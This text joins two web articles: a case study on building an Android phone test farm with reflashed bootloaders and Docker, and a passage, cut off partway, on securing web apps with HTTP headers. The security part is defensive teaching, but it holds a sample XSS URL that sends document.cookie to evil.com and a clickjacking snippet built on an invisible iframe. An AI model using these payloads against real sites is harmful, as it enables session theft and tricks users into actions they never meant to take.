How To Set Up An Automated Testing System Using Android Phones (A Case Study)

How To Set Up An Automated Testing System Using Android Phones (A Case Study)

Regression testing is one of the most time-consuming tasks when developing a mobile Android app. Using myMail as a case study, I’d like to share my experience and advice on how to build a flexible and extensible automated testing system for Android smartphones — from scratch.

The team at myMail currently uses about 60 devices for regression testing. On average, we test roughly 20 builds daily. Approximately 600 UI tests and more than 3,500 unit tests are run on each build. The automated tests are available 24/7, and save our testers a ton of time helping us to create high-quality applications. Without them, it would have taken us 36 hours (including wait time) to test every unit, or roughly 13 hours without the wait. It takes about 1.5 hours to run an automated test, including setup and translation updates. This cuts out weeks of tester work every day.

In case you write automated tests and do not deal with infrastructure, we will go through the process from the very beginning, from purchasing the phone and reinstalling firmware to creating Docker containers with the automated test phone inside. Watch the video1 to see the result.

Further Reading on SmashingMag: Link

What Phones Are Best For Android Automated Tests? Link

When Android was just beginning to gain popularity, test developers had to choose the lesser of two evils: buy an expensive set of phones or work with slow and buggy virtual devices. Today, things are much simpler because virtual machines such as Android x86 and HAXM are available.

Yet there is still a choice to make. Many developers prefer virtual machines for automated tests, but actual phones have become a rather affordable option, even if your budget for test automation is limited. Real phones provide the most accurate picture of the application’s actual behavior. By using real phones, you can be certain that users will be able to perform any action in the program.

Accordingly, I recommend that even people who currently use virtual machines for test automation on Android obtain some real devices to ensure that their tests are also correct in real life. I’ll tell you how to choose a phone for automated regression testing and tell you what other equipment you’ll need in order to get everything to work together 24/7.

6
(View large version7)

First of all, I should warn you that we will be choosing a phone model for regression tests, not configuration tests. Let’s assume that we have a lot of tests, for example 500 to 1000 application tests, that take 10 hours, and that we need several phones to complete them in 15 minutes. This sounds a little counterintuitive — why not just buy 10 to 20 different models of phones? The answer lies in the labor costs for the test automation code. You would end up writing the same test for different phone interfaces. When working with 20 different models, writing even one simple test would take a lot of time. But our present goal is to accelerate the execution of automated tests without increasing the labor costs of the programmer writing the tests.

The phone market is large, so it’s hard to know where to look first. What should be the criteria when choosing a phone? After some trial and error, I ended up with the following requirements (I’m not including any unit prices, since they should be readily available):

  • There is a way to obtain the root privileges.
  • There is a way to unlock the phone’s bootloader.
  • The phone has an Android near-stock version, or there is an option to install the near-stock version. This means you won’t have to try a ton of different tests for various interfaces.
  • The phone’s memory is no less than 1 GB. You can work with less, but various large object display checks will take a long time, even with consistently written tests.
  • Ideally, the phone has long-term manufacturer support. If this is the case, we have a chance of extending its life with new OS versions.

These criteria for purchasing a phone boil down to two things: Phone should not be slow and stuttering, and its software innards should be customizable as much as possible. Eliminating lag time saves us from the troubles of time-consuming tests, and customizability lets us correct problems that may arise over time (deterioration of operating system versions, internal phone bugs, a need to change system settings). If you find that something incorrectly works on the phone, then you at least have the chance to fix it yourself.

Root privileges, for example, let you use the command line to easily change the time on the phone, switch between Wi-Fi networks, and enable and disable system programs to simulate working with and without them. The unlocked boot sector lets users update the operating system and add custom firmware that extends the phone’s life even if the manufacturer discontinues support (which, unfortunately, is the case with most phones we have now). It would be sad if users running on Android 4.4 or Android 6 encountered an error, but your phones with automated tests run on Android 5, so nothing can be changed.

Unfortunately, you can’t ask the seller about most of these criteria at the time of purchase. That’s why we must first go to the XDA Developers forums158 and 4PDA forums9 to find all of the details we need to know about the model. If the model has been out for a while, pay attention to information about defects, memory and battery life — your device will be all but useless without these. Don’t be distracted by screens, buttons, cases, speakers and other features usually important to a user. The phone will work perfectly fine regardless (although this does depend on the specifics of your project).

Once you’ve chosen a model, you should probably order one or two for pretests to be sure that the OS doesn’t have any surprises in store, that all of the written tests run properly and that the hardware matches the manufacturer’s specifications. Below are the worst blunders I’ve seen in my experience as a buyer:

  • A phone model with a lot of local subtypes

    This is a problem if you can only get root privileges or unlock the bootloader for just some of them. It is hard to find a certified Russian phone in unofficial stores, because fake and authentic phones look the same. Additionally, many sellers or their vendors reflash the model names, hardware specifications, regions and even OS versions. It’s quite possible to see one model in the Android settings, another model in the bootloader and a third model in a shell using getprop and get-IDs. The issue is that the phone has passed through multiple hands and regions before getting to you. Its first owner was some Verizon subscriber from South Dakota. He returns it, and the now refurbished device somehow ends up with some seller in Tel Aviv, who unskillfully installs his local OS version on the hardware. Then, a seller from Moscow buys it and sells it again as a new phone. The courier brings it to you, and you receive your new eight-core reflashable Russian device, having no clue that you are actually holding a six-core locked area-specific device originally from a US cellular service customer.

    A phone model with lots of local sub-types.10
    The information in the image above is for an expensive phone with “current” software that, according to its specifications, is actually an older AT&T model that has been reflashed. (View large version11)
  • Identical serial numbers

    It’s easier to identify the problem here, but unfortunately it’s common even among official dealers. The lack of a serial number is a problem associated with many inexpensive devices. If Android Debug Bridge (ADB) is used in your automated tests and several devices are connected to the machine, then you’ll need to either rewrite the ADB code (because it would only see one device) or, if the purchase was made according to the previously mentioned criteria, manually enter the unique serial number.

    Typical serial numbers for inexpensive phones12
    Typical serial numbers for inexpensive phones
  • A pseudorandom MAC address from the Wi-Fi module after restarting the phone

    This was quite a serious issue, because we discovered it only after I was sure that “everything was OK” — i.e. the phone met our requirements, so we ordered 20 more. During our automated tests, the phones sometimes restarted. After a while, the tests started to fail due to a lack of Wi-Fi connectivity, even though everything appeared to be running normally. There was a network connection, and everything worked properly after turning the Wi-Fi module off and on. The problem was that, at some point after the reboots, a couple of the phones would end up having the same MAC address, but the Wi-Fi hotspot would only grant access to the last one. Unfortunately, I couldn’t find where on the phones the MAC address is generated, so I had to put a script in the bootloader to force a unique MAC address to be set.

    A demonstration of spoofing from a box13
    A demonstration of spoofing from a box (View large version14)

However, if you stick to the criteria above when choosing your phone, then these problems shouldn’t prove fatal. They can all be manually fixed to make the phone work properly.

So, which phones should you get to create your own test automation farm?

Google Nexus Link

If you have the resources to buy the latest working models of Google Nexus (these are currently devices such as the Nexus 5X to 6P), then get these without thinking twice. You can install almost any operating system on them, they have an inherently “clean” Android base, and developers also tend to use them to test their applications.

Any “Developer Edition” Phone Link

Many companies are currently producing phone models for developers. With these phones, you can generally unlock the bootloader, and root privileges are available. If you find a good offer, take it.

Cheap Chinese Phones With an MTK CPU Link

Many phones with MediaTek (MTK) processors can be reflashed perfectly, and their main advantage is low cost. You’ll need to look for the specific models on the local market in your country, because the phones are typically available under different brand names, depending on location. The real manufacturers are usually large companies such as Gionee, Lenovo, Inventec, Tinno Mobile, Longcheer and Techain. These companies resell their phones in Western countries under brand names including Fly, Zopo, Wiko, Micromax, MyPhone, Blu, Walton, Allview and others. But not all phones are suitable: always evaluate them according to the criteria listed above. Farms with phones like these can often be cheaper than servers with virtual Android machines, so there is a significant chance to save some money here.

In addition to phones, you are going to need a computer and USB hubs to run the automated tests. There are some other things to consider at this stage. For example, constantly operating phones need a good power supply (at least 0.5A per device; more is better). The majority of hubs on the market come with weak adapters, not designed to have a constantly running phone plugged in at every port. Things are even more complicated when it comes to tablets: 9-inch tablets die quickly when running continuously becuase of large screen power consumption, so we have to choose among 7-inch units. In our experience, six to seven phones can be hooked up to a 4A adapter (depending on their workload). Therefore, most multiport hubs with a “3A adapter and 20 USB ports” are useless, to put it mildly. The cream of the crop is server solutions, but they are crazy expensive. So, we are going to have to limit ourselves to the consumer market. To keep the phone running, you have to get 3A four-port hubs or 4A six-port hubs. If a hub has a good power supply and a large number of ports, some ports can simply remain unused.

Preparing The Phone To Work Link

Let’s look at one phone model as an example. We will solve an OS problem and then try to put several devices together on a simple test stand for test automation. The phone itself is inexpensive and of decent quality, but it is not without its own shortcomings (described above). For example, these phones have the same iSerial, so ADB sees only one device, even if multiple devices are connected. We won’t change it everywhere on the phone, but we’ll make it possible for ADB to distinguish between the phones.

To do this, we have to reflash the phone’s bootloader and install a custom recovery partition on the phone. This is to protect ourselves from any unsuccessful experiments. The manuals on how to flash your specific phone model can be found in the XDA Developers forums158. Our phones have MT6580 installed, which is a MTK processor, so we can use SP Flash Tool as well as recovery.img and scatter file devices. These can be found online for almost any device on XDA Developers and 4PDA, but, if desired, a recovery can be compiled for your device using TWRP16 as a base and creating the scatter file yourself17. In any event, we’ll just take our files and reinstall them:

Re-installing files18
(View large version19)

Once the recovery partition is installed, use it to save the bootloader backup and move it to your machine. As a rule, this is where the OS configuration files are located.

In order to hardcode your iSerial, you’ll need to unpack the phone’s bootloader image. This can be done via Android Image Kitchen20. Start unpackimg.sh, and get the unpacked image in the ramdisk folder:

There are a lot of init files here containing different variables, including the serial number.21
There are a lot of init files here containing different variables, including the serial number.
22

Let’s find the file with the serial number ${ro.serialno and replace it with our own number — for example, 999222333019:

find ramdisk/ -maxdepth 1 -name "init.mt*" -exec sed -i
's/${ro.serialno}/999222333019/g' {} +

Now, let’s pack the image back up using repacking.sh, transfer it to the phone and install it using custom recovery. Now ADB can distinguish between devices. All we need to do now is turn on developer mode on the phone and enable debugging in the developer menu. Any similar problems can be solved in exactly the same way. Pretty much everything on the phone can be reinstalled if that is what the tests require.

Setting Up The Test Machine Link

We will use a standard desktop with Ubuntu as the host for our test system. It might be necessary to transfer the connected phones from one computer to another. We might also need to build separate versions of the app for specific phone models.

To accomplish this, for each phone it’s a good idea to create an isolated virtual environment that we can change if necessary (for example, to install other versions of the Java Development Kit or to configure monitoring), without altering the other phones’ environments. As a result, our machine will be divided into several environments, each one accessible via a single phone (or a group of phones, depending on your requirements). We can establish these environments by creating several virtual machines on the host (this can be done on any operating system). Or you can do what I like to do, which is divide the phones using Docker containers, which work best on Linux. We will use a conventional desktop with Ubuntu as an example of a host for our stand.

There are specifics to consider when ordering or building the machines that the phones will be connected to. Apart from the standard HDD, RAM and CPU specs, pay attention to the number of USB controllers on the motherboard and the supported USB protocol. Phones that use USB 3.0 (xHCI) could significantly limit the maximum number of devices attached to the machine (usually 8 per controller, or 16 devices for a machine with 2 controllers), so it’s worth checking whether it’s possible to turn it off and use only EHCI. You will find those options in the BIOS or OS. It is best to forcibly disable xHCI in the BIOS if you don’t require high-speed devices.

Creating A Container For The Phone Link

As I wrote earlier, we want an integration system slave-agent to work with a specific phone and see only this phone. This way, the tests won’t accidentally run on other phones and give false pass or error results. To accomplish this, we need to separate them. When an integration system agent launches in a Docker container, each agent has access to only one device, so we can divide tasks in the integration system by specific phone models, operating system versions, screen sizes and other characteristics (for example, a container with a tablet can perform tests that require a wide screen, and a container with a phone could run tests requiring the ability to receive text messages).

Let’s use the example of a system installation and setup on Ubuntu. Here is the installation of Docker itself:

sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D echo 'deb https://apt.Dockerproject.org/repo main' >> /etc/apt/sources.list.d/Docker.list sudo apt-get update sudo apt-get install Docker-engine 

We are going to use OverlayFS as a storage driver (it is relatively fast and reliable). You can read about the differences between various storage drivers23 on the official Docker website.

echo 'DOCKER_OPTS="-s overlay"' >> /etc/default/Docker

Then, we will create a Dockerfile, which is an instruction for Docker to install the minimum required software for the virtual environment where a mobile device will be isolated. We will create images from this instruction. Let’s add the Android SDK to the Dockerfile:

FROM ubuntu:trusty #Update the list of repositories and add webupd8team repository, from which we'll install Java RUN apt-get update -y &&  apt-get install -y software-properties-common &&  add-apt-repository ppa:webupd8team/java -y &&  apt-get update -y &&  echo oracle-java8-installer shared/accepted-oracle-license-v1-1 select true | /usr/bin/debconf-set-selections &&  apt-get install -y oracle-java8-installer &&  apt-get remove software-properties-common -y &&  apt-get autoremove -y &&  apt-get clean #Set the environment variables for Java and the desired version of Ant ENV JAVA_HOME /usr/lib/jvm/java-8-oracle ENV ANT_VERSION 1.9.4 # Install Ant version specified above RUN cd &&  wget -q http://archive.apache.org/dist/ant/binaries/apache-ant-${ANT_VERSION}-bin.tar.gz &&  tar -xzf apache-ant-${ANT_VERSION}-bin.tar.gz &&  mv apache-ant-${ANT_VERSION} /opt/ant &&  rm apache-ant-${ANT_VERSION}-bin.tar.gz # Set the environment variable for Ant ENV ANT_HOME /opt/ant ENV PATH ${PATH}:/opt/ant/bin #Install Android Build Tools and the required version of Android SDK #You can create several versions of the Dockerfile if you need to test #several versions ENV ANDROID_SDK_VERSION r24.4.1 ENV ANDROID_BUILD_TOOLS_VERSION 23.0.3 RUN dpkg --add-architecture i386 &&  apt-get update -y &&  apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 &&  rm -rf /var/lib/apt/lists/* &&  apt-get autoremove -y &&  apt-get clean ENV ANDROID_SDK_FILENAME android-sdk_${ANDROID_SDK_VERSION}-linux.tgz ENV ANDROID_SDK_URL http://dl.google.com/android/${ANDROID_SDK_FILENAME} ENV ANDROID_API_LEVELS android-15,android-16,android-17,android-18,android-19,android-20,android-21,android-22,android-23 ENV ANDROID_HOME /opt/android-sdk-linux ENV PATH ${PATH}:${ANDROID_HOME}/tools:${ANDROID_HOME}/platform-tools RUN cd /opt &&  wget -q ${ANDROID_SDK_URL} &&  tar -xzf ${ANDROID_SDK_FILENAME} &&  rm ${ANDROID_SDK_FILENAME} &&  echo y | android update sdk --no-ui -a --filter tools,platform-tools,${ANDROID_API_LEVELS},build-tools-${ANDROID_BUILD_TOOLS_VERSION} ###Now add the integration system file. It can be a Jenkins slave, a Bamboo agent, etc., depending on what you're working with. ADD moyagent.sh /agentCI/ 

You can also add all of the necessary libraries and files for the integration system agent to the Dockerfile. At some point, you might have to build containers not only for your physical devices, but also for virtual Android phone emulators. In this case, you can just add the required settings to the instructions. Now we’ll build the Dockerfile:

Docker build .

Now we have a runnable docker image; however, the container that we spawn from it would not see any devices (or, on the contrary, the container would see all USB devices if we run it in privileged mode). We need it to see only those devices we want it to see. So, we specify a symbolic link (or symlink) in our host, which we will transfer to the Docker container created from the image. The symlink uses udev:

echo ‘"SUBSYSTEM=="usb", ATTRS{serial}=="$DEVICE_SERIAL", SYMLINK+="androidDevice1"' >> /etc/udev/rules.d/90-usb-symlink-phones.rules

Instead of $DEVICE_SERIAL, we enter our freshly installed serial number and reload the device’s rule definitions:

udevadm control --reload udevadm trigger

Now when the phone is attached via USB, we will have a device symlink to the /dev/androidDevice1 path with the serial number $DEVICE_SERIAL. All we have left to do is transfer it to the container on startup:

Docker run -i -t --rm --device=/dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest adb devices

This means that we want to create a container from the Android Docker image that must be able to access the device with the /dev/androidDevice1 symlink. We also want to launch the ADB devices command in the container itself, which will show us a list of available devices.

If the phone is visible, then we’re ready. If an integration system agent was installed in the image, we can use the following command to launch it:

Docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest /bin/sh /agentCI/moyagent.sh

Now we have launched the container in which the system integration agent is running. The agent now has access to the device via the /dev/androidDevice1 symlink and to the virtual environment where all programs specified in Dockerfile (the Android SDK and additional dependencies) are installed.

By the way, it wasn’t until fairly recently that the command line option --device started working with symlinks (see the GitHub master branch24). Previously, we had to generate the realpath from symlinks using a script and transfer it to Docker. So, if you can’t manage to connect the device, add the following script to the udev parameter RUN+= (if the connected phone is located at /dev/bus/usb/010/1):

realpath /dev/androidDevice1 | xargs -I linkpath link linkpath /dev/bus/usb/010/1

This will let you use old versions of Docker to launch a container that can access the phone:

Docker run --privileged -v /dev/bus/usb/010/:/dev/bus/usb/100/ -i -t android-Docker-image:latest adb devices

That’s it. You can now connect your slave to the integration system and work with it.

If the phone is visible, then we’re done. If a system integration agent has been installed in the image, then we can run it with the following command:

docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-docker-image:latest /bin/sh /agentCI/moyagent.sh

Now we’ve launched our container with the system integration agent launched in it. The device is available to the agent via the /dev/androidDevice1 symlink and also via the virtual environment where you installed the programs from our Dockerfile (the Android SDK and other dependencies). The launched agent must connect to your server (such as Bamboo or Jenkins), from which you can give it commands to perform the automated tests.

When your container is ready, all you need to do is connect it to your integration system. Each of such systems has extensive documentation and a lot of examples of usage:

As soon as you connect your container according to the instruction, you will be able to execute code, launch your tests and work with your container via your systems.

Conclusion Link

Sooner or later, physical mobile devices will appear in the integration system of every relatively large Android project. The need to fix mistakes, perform non-standard test cases and simply test for the presence of certain features all inevitably require an actual device. In addition, the devices won’t use your server resources, because they have their own processors and memory. Thus, the host for the phones doesn’t have to be super-powerful; any home desktop would handle this load nicely.

Consider the advantages and see what would be best for you — your automated testing system almost certainly has room for physical devices. I wish you all fewer bugs and more test coverage! Real devices have both advantages and disadvantages. It would be great if you could share your opinion and expertise and tell us which is better to use: real devices or virtual machines. Looking forward to your comments!

(rb, yk, al, il)

Footnotes Link

  1. 1 https://www.youtube.com/watch?v=37HZIluqY8Y
  2. 2 https://www.smashingmagazine.com/2017/02/current-trends-future-prospects-mobile-app-market/
  3. 3 https://www.smashingmagazine.com/2015/12/optimizing-your-design-for-rapid-prototype-testing/
  4. 4 https://www.smashingmagazine.com/2016/09/the-thumb-zone-designing-for-mobile-users/
  5. 5 …
  6. 6 https://www.smashingmagazine.com/wp-content/uploads/2017/01/main-picture-large-opt.jpg
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/01/main-picture-large-opt.jpg
  8. 8 https://forum.xda-developers.com
  9. 9 http://4pda.ru/forum/
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-phone-model-with-lots-of-local-sub-types-large-opt.png
  11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-phone-model-with-lots-of-local-sub-types-large-opt.png
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Typical-serial-numbers-for-inexpensive-phones-preview-opt.png
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-demonstration-of-spoofing-from-a-box-large-opt.png
  14. 14 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-demonstration-of-spoofing-from-a-box-large-opt.png
  15. 15 https://forum.xda-developers.com
  16. 16 http://forum.xda-developers.com/showthread.php?p=32965365#post32965365
  17. 17 http://forum.xda-developers.com/showthread.php?p=32965365#post32965365
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Re-installing-files-large-opt.png
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Re-installing-files-large-opt.png
  20. 20 https://github.com/osm0sis/Android-Image-Kitchen
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/01/init-files-here-containing-different-variables-preview-opt.png
  22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/01/6-preview-opt.png
  23. 23 https://docs.Docker.com/engine/userguide/storagedriver/selectadriver/
  24. 24 https://github.com/Docker/Docker
  25. 25 https://www.tutorialspoint.com/jenkins/jenkins_distributed_builds.htm
  26. 26 https://confluence.atlassian.com/bamboo/bamboo-remote-agent-installation-guide-289276832.html
  27. 27 https://docs.gitlab.com/runner/install/

↑ Back to topTweet itShare on Facebook

How To Secure Your Web App With HTTP Headers

How To Secure Your Web App With HTTP Headers

Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately 40% of data breaches1 originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather a necessity for web developers, especially for developers who build consumer-facing applications.

HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.

Further Reading on SmashingMag: Link

About HTTP Headers Link

Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.

Plain-text HTTP response headers can be examined easily using cURL, with the --head option, like so:

$ curl --head https://www.google.com HTTP/1.1 200 OK Date: Thu, 05 Jan 2017 08:20:29 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 Transfer-Encoding: chunked Accept-Ranges: none Vary: Accept-Encoding …

Today, hundreds of headers are used by web apps, some standardized by the Internet Engineering Task Force6 (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.

Disabling Caching Of Confidential Resources Link

Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!

The IETF’s RFC 72347, which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to always cache responses to HTTP GET requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.

There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:

  • Cache-Control

    This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: cache-control: no-cache, no-store, must-revalidate. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
  • Pragma: no-cache

    For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the Cache-Control header mentioned above. Use Pragma: no-cache to ensure that these older clients do not cache your response.
  • Expires: -1

    This header specifies a timestamp after which the response is considered stale. By specifying -1, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.

Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading Jake Archibald’s post8 on the subject.

Here’s how you would program these headers in Node.js:

function requestHandler(req, res) { res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate'); res.setHeader('Pragma','no-cache'); res.setHeader('Expires','-1'); } 

Enforcing HTTPS Link

Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!

The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.

How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in RFC 67979, HSTS enables a web app to instruct browsers to allow only HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.

HSTS directives include the following:

  • max-age=<number of seconds>

    This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
  • includeSubDomains

    This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
  • preload

    This is a powerful directive that forces browsers to always load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with HSTS Preload List Submission10, a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.

A word of caution: using the preload directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!

My recommendation is to use Strict-Transport-Security: max-age=31536000; includeSubDomains; which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the preload directive, in which case don’t forget to register your website on the preload list as well, as noted above!

Here’s what implementing HSTS looks like in Node.js:

function requestHandler(req, res) { res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload'); } 

Enabling XSS Filtering Link

In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!

To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:

function handleRequest(req, res) { res.writeHead(200); // Get the search term const parsedUrl = require('url').parse(req.url); const searchTerm = decodeURI(parsedUrl.query); const resultSet = search(searchTerm); // Render the document res.end( "<html>" + "<body>" + "<p>You searched for: " + searchTerm + "</p>" + // Search results rendering goes here… "</body>" + "</html>"); }; 

Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:

https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>

As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!

To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.

Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the X-XSS-Protection header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.

X-XSS-Protection directives include these:

  • 1 or 0

    This enables or disables the filter.
  • mode=block

    This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.

I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:

X-XSS-Protection: 1; mode=block

Here’s how you would configure this response header in Node.js:

function requestHandler(req, res) { res.setHeader('X-XSS-Protection','1;mode=block'); } 

Controlling Framing Link

An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.

One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!

<html> <body> <button class='some-class'>Win a Prize!</button> <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe> </body> </html> 

Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the opacity: 0 CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.

An effective way to block this attack is by restricting your web app from being framed. X-Frame-Options, specified in RFC 703411, is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the DENY directive, whitelist specific domains using the ALLOW-FROM directive, or whitelist only the web app’s origin using the SAMEORIGIN directive.

My recommendation is to use the SAMEORIGIN directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:

X-Frame-Options: SAMEORIGIN

Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:

function requestHandler(req, res) { res.setHeader('X-Frame-Options','SAMEORIGIN'); } 

Explicitly Whitelisting Sources Link

As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.

Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.

CSP is a W3C specification12 that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious eval) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.

This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.

CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a great tutorial13 that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.

Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (eval) and inline scripts (as usual, on Node.js):

function requestHandler(req, res) { res.setHeader('Content-Security-Policy',"script-src 'self'"); } 

Preventing Content-Type Sniffing Link

